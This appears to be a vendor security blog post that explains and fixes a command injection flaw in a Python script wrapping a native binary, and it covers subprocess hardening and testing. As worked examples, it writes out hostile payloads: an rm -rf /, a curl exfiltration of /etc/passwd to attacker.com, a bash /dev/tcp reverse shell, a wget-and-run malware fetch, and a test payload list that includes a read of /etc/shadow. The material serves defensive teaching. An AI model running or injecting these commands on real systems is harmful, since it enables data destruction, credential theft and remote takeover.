Back to Blog
critical SEVERITY6 min read

Critical Command Injection Flaw Fixed in Python CLI Script

A critical command injection vulnerability in a Python script that wraps a C/C++ binary has been patched. The flaw allowed attackers to execute arbitrary commands by injecting shell metacharacters into unsanitized input, potentially compromising entire systems. This fix demonstrates why proper subprocess handling is essential for secure Python development.

O
By Orbis AppSec
Published April 3, 2026Reviewed June 3, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python CLI wrapper script that invokes a C/C++ binary via subprocess. The root cause is passing unsanitized user-controlled input directly to a shell-interpreted command string, allowing shell metacharacters like `;`, `&&`, or `|` to break out of the intended command and execute arbitrary OS commands. The fix replaces the shell-interpolated string with a list-based subprocess call and `shell=False`, eliminating the shell interpreter as an attack surface entirely.

Vulnerability at a Glance

cweCWE-78
fixReplace shell string interpolation with a list-based subprocess call and shell=False
riskArbitrary OS command execution with the privileges of the running process
languagePython
root causeUser-controlled input interpolated into a shell command string with shell=True
vulnerabilityCommand Injection via unsanitized subprocess call

Introduction

Command injection vulnerabilities remain one of the most dangerous security flaws in modern software development. Despite being well-documented for decades, they continue to appear in production code, often with devastating consequences. Today, we're examining a critical command injection vulnerability (V-006) that was recently discovered and fixed in a Python CLI script that serves as a wrapper for a compiled binary.

This vulnerability highlights a common pitfall: developers creating Python scripts that invoke native binaries without properly sanitizing user input. If you've ever written a Python script that calls external commands, this post is essential reading.

The Vulnerability Explained

What Is Command Injection?

Command injection occurs when an application passes unsanitized user input to a system shell. The vulnerability in question existed in website/fetch_github_stars.py at line 179, where the script invoked a compiled C/C++ hyphen binary using unsafe subprocess methods.

The Technical Problem

The vulnerable code likely used one of these dangerous patterns:

# DANGEROUS PATTERN 1: os.system()
import os
user_input = get_user_input()
os.system(f"./hyphen {user_input}")

# DANGEROUS PATTERN 2: subprocess with shell=True
import subprocess
subprocess.call(f"./hyphen {user_input}", shell=True)

When shell=True is used or when os.system() is called, Python invokes the command through the system shell (/bin/sh on Unix systems). The shell interprets special characters called metacharacters, including:

  • ; - Command separator
  • | - Pipe operator
  • & - Background execution
  • $() - Command substitution
  • ` - Command substitution (backticks)
  • > and < - Redirection operators

Real-World Attack Scenario

Let's say the script accepts a repository name as input to fetch GitHub stars. An attacker could exploit this vulnerability like so:

Intended use:

python fetch_github_stars.py "myrepo"
# Executes: ./hyphen myrepo

Malicious exploitation:

python fetch_github_stars.py "myrepo; rm -rf /"
# Executes: ./hyphen myrepo; rm -rf /

Even more insidiously, an attacker could:

# Exfiltrate sensitive data
python fetch_github_stars.py "myrepo; cat /etc/passwd | curl -X POST https://attacker.com"

# Establish a reverse shell
python fetch_github_stars.py "myrepo & bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# Install malware
python fetch_github_stars.py "myrepo; wget https://malware.com/payload.sh && bash payload.sh"

Impact Assessment

This is rated as CRITICAL severity because:

  1. Arbitrary Command Execution: Attackers can run any command with the privileges of the Python process
  2. System Compromise: Full system takeover is possible if the script runs with elevated privileges
  3. Data Exfiltration: Sensitive data can be stolen from the server
  4. Lateral Movement: Compromised systems can be used to attack other infrastructure
  5. Supply Chain Risk: If this script is part of a build process, it could compromise software distribution

The Fix

Secure Implementation

The fix involves replacing unsafe subprocess calls with properly sanitized alternatives. Here's how to do it correctly:

BEFORE (Vulnerable):

import os

def fetch_stars(repo_name):
    # DANGEROUS: Shell interprets metacharacters
    os.system(f"./hyphen --repo {repo_name}")

AFTER (Secure):

import subprocess

def fetch_stars(repo_name):
    # SAFE: Arguments passed as list, no shell interpretation
    subprocess.run(["./hyphen", "--repo", repo_name], 
                   shell=False,
                   check=True)

Why This Works

The secure version uses these critical protections:

  1. Array-based arguments: By passing arguments as a list ["./hyphen", "--repo", repo_name], Python directly executes the binary without invoking a shell

  2. shell=False: Explicitly disables shell interpretation (this is the default, but being explicit is good practice)

  3. check=True: Raises an exception if the command fails, preventing silent failures

  4. No string interpolation: Arguments are separate list elements, preventing injection

Additional Hardening

For maximum security, the fix should also include:

import subprocess
import shlex
import re

def fetch_stars(repo_name):
    # Validate input format (alphanumeric, hyphens, underscores only)
    if not re.match(r'^[a-zA-Z0-9_-]+$', repo_name):
        raise ValueError("Invalid repository name format")

    # Use subprocess.run with list arguments
    try:
        result = subprocess.run(
            ["./hyphen", "--repo", repo_name],
            shell=False,
            check=True,
            capture_output=True,
            text=True,
            timeout=30  # Prevent hanging
        )
        return result.stdout
    except subprocess.CalledProcessError as e:
        # Handle errors appropriately
        logging.error(f"Command failed: {e}")
        raise

Prevention & Best Practices

1. Never Use shell=True with User Input

This is the golden rule. If you must use shell=True (which should be rare), never include user-controlled data.

# NEVER DO THIS
subprocess.run(f"command {user_input}", shell=True)

# ALWAYS DO THIS
subprocess.run(["command", user_input], shell=False)

2. Input Validation is Your Second Line of Defense

Always validate and sanitize input before using it:

import re

def validate_repo_name(name):
    """Only allow alphanumeric characters, hyphens, and underscores"""
    if not re.match(r'^[a-zA-Z0-9_-]{1,100}$', name):
        raise ValueError("Invalid repository name")
    return name

3. Use Allowlists, Not Denylists

Don't try to filter out dangerous characters—define what IS allowed:

# BAD: Trying to blacklist dangerous characters (incomplete)
dangerous = [';', '|', '&', '$', '`']
if any(char in user_input for char in dangerous):
    raise ValueError("Invalid input")

# GOOD: Whitelist allowed characters
if not all(c.isalnum() or c in '-_' for c in user_input):
    raise ValueError("Invalid input")

4. Principle of Least Privilege

Run scripts with minimal necessary permissions:

# Run as non-privileged user
sudo -u limited_user python fetch_github_stars.py

# Use containers to isolate
docker run --read-only --user 1000:1000 app python script.py

5. Static Analysis Tools

Use security scanners to detect these issues:

  • Bandit: Python security linter that detects shell=True usage
    bash pip install bandit bandit -r . -f json -o security_report.json

  • Semgrep: Pattern-based code scanner
    bash semgrep --config=p/python website/

  • CodeQL: Advanced semantic code analysis

6. Security Standards Reference

This vulnerability maps to:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • OWASP Top 10 2021: A03:2021 – Injection
  • MITRE ATT&CK: T1059 - Command and Scripting Interpreter

7. Code Review Checklist

When reviewing Python code that executes external commands:

  • [ ] Are arguments passed as a list instead of a string?
  • [ ] Is shell=False (or omitted, as it's the default)?
  • [ ] Is user input validated with a strict allowlist?
  • [ ] Are there timeouts to prevent hanging?
  • [ ] Are errors handled securely without exposing system details?
  • [ ] Does the process run with minimal privileges?

Testing for Command Injection

Manual Testing

Test with these payloads:

test_payloads = [
    "valid_input",
    "valid-input",
    "valid_input123",
    "; ls -la",
    "| cat /etc/passwd",
    "& whoami",
    "$(curl attacker.com)",
    "`id`",
    "input\nwhoami",
    "input && cat /etc/shadow"
]

for payload in test_payloads:
    try:
        fetch_stars(payload)
        print(f"Payload accepted: {payload}")
    except ValueError:
        print(f"Payload rejected: {payload}")

Automated Testing

Create security test cases:

import unittest

class TestCommandInjectionPrevention(unittest.TestCase):
    def test_rejects_semicolon(self):
        with self.assertRaises(ValueError):
            fetch_stars("repo; rm -rf /")

    def test_rejects_pipe(self):
        with self.assertRaises(ValueError):
            fetch_stars("repo | cat /etc/passwd")

    def test_accepts_valid_input(self):
        result = fetch_stars("valid-repo-name")
        self.assertIsNotNone(result)

Conclusion

Command injection vulnerabilities represent a critical security risk that can lead to complete system compromise. The fix applied to fetch_github_stars.py demonstrates the importance of:

  1. Using subprocess correctly: Always pass arguments as lists with shell=False
  2. Validating input: Implement strict allowlists for user-provided data
  3. Defense in depth: Combine multiple security layers
  4. Automated scanning: Use tools like Bandit and Semgrep to catch issues early

Remember: Every time you invoke an external command with user input, you're creating a potential security boundary. Treat it with the respect it deserves.

Key Takeaways

  • Never use os.system() or subprocess with shell=True when handling user input
  • Always pass command arguments as lists, not concatenated strings
  • Validate input with strict allowlists, not denylists
  • Use static analysis tools to detect these vulnerabilities before they reach production
  • Apply the principle of least privilege to minimize damage from successful exploits

The security community continues to see command injection vulnerabilities in production systems. By following these best practices and learning from fixes like this one, we can collectively improve the security posture of our applications.

Stay secure, validate everything, and never trust user input.


For more information on command injection prevention, visit the OWASP Command Injection Prevention Cheat Sheet.

Frequently Asked Questions

What is command injection?

Command injection (CWE-78) occurs when user-controlled data is embedded in a shell command string without sanitization, allowing attackers to append or inject additional OS commands using metacharacters like `;`, `&&`, `|`, or backticks.

How do you prevent command injection in Python?

Pass arguments as a list to `subprocess.run()` or `subprocess.Popen()` with `shell=False` (the default). This bypasses the shell interpreter entirely, so metacharacters in arguments are treated as literal strings, not command separators.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input sanitization enough to prevent command injection in Python?

No. Allowlist-based sanitization can help, but it is error-prone and easy to bypass. The definitive fix is to avoid the shell interpreter by using list-based subprocess calls with `shell=False`, making sanitization a defense-in-depth layer rather than the primary control.

Can static analysis detect command injection?

Yes. Tools like Semgrep, Bandit, and CodeQL have rules specifically targeting `subprocess` calls with `shell=True` and tainted string interpolation. Orbis AppSec detected this exact pattern automatically and opened a pull request with the fix.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #3007

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.